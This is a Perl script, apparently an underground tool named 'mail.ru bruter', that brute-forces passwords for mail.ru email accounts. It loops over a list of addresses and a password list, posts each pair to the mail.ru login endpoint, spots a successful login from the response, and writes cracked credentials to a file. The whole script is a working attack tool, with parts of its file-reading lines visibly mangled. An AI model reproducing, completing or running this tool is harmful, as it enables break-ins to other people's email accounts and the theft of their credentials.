#!/usr/bin/perl
use
LWP::UserAgent;
print
"########## GeNoM- mail.ru bruter v 1.3 ###############\n"
;
my
$ua = LWP::UserAgent->new(
max_size =>
1024
,
agent =>
'kakep brayzer v 9.1.1'
,
timeout =>
30
, 
); 
 
 
 
$set=
0
; 
$setall=
0
;
open
email,
") { 
$mails=~
s/\n//
;
# убираем символ конца строки
($login,$domain)=
split
(
/\@/
,$mails);
# разбираем мыло на логин и домен
if
($log==
1
){
open
logg,
">>log.txt"
;
print
logg
"-----Start brute-->$login\@$domain\n"
;
close
logg;}
open
pass,
"$login\@$domain\n\n"
;
open
logg,
">>log.txt"
;
print
logg
"\n-----Start brute-->$login\@$domain\n\n"
;
close
logg;
while
($password=) { 
$password=~
s/\n//
;
# убираем символ конца строки
my
$req = HTTP::Request->new(
POST =>
'http://win.mail.ru/cgi-bin/auth'
); 
$req->content(
"page=&post=&login_from=http://mail.ru/&Login=$login&Domain=$domain&Password=$password"
); 
$req->referer(
'http://win.mail.ru/cgi-bin/auth'
);
my
$res = $ua->request($req); 
$yda4a=$res->as_string;
if
($yda4a=~
m/500 Can't connect/
==
1
) {
print
"$yda4a\n"
;
exit
;}
# выводим текущее состояние брута
if
($set==$setting){$time=
localtime
;$time=
substr
($time,
4
,
15
);
print
"Send pass->$password  Bcego proBepeHo-->$setall  Time-->$time\n"
;
open
logg,
">>log.txt"
;$time=
localtime
;$time=
substr
($time,
4
,
15
);
print
logg
"Send pass->$password  Bcego proBepeHo-->$setall  Time-->$time\n"
;
close
logg;$set=
0
;}
if
($yda4a=~
m/checkcookie/
==
1
) {
print
"For $login\@$domain password->$password\n"
;
open
brut,
">>brute-mail.txt"
;
print
brut
"$login\@$domain password->$password\n"
;
close
brut;
open
logg,
">>log.txt"
;
print
logg
"For $login\@$domain password->$password\n"
;
close
logg;
goto
nashol;}    
 
$set++;    
$setall++;      
   
} 
 
nashol:
close
pass; 
}
close
email;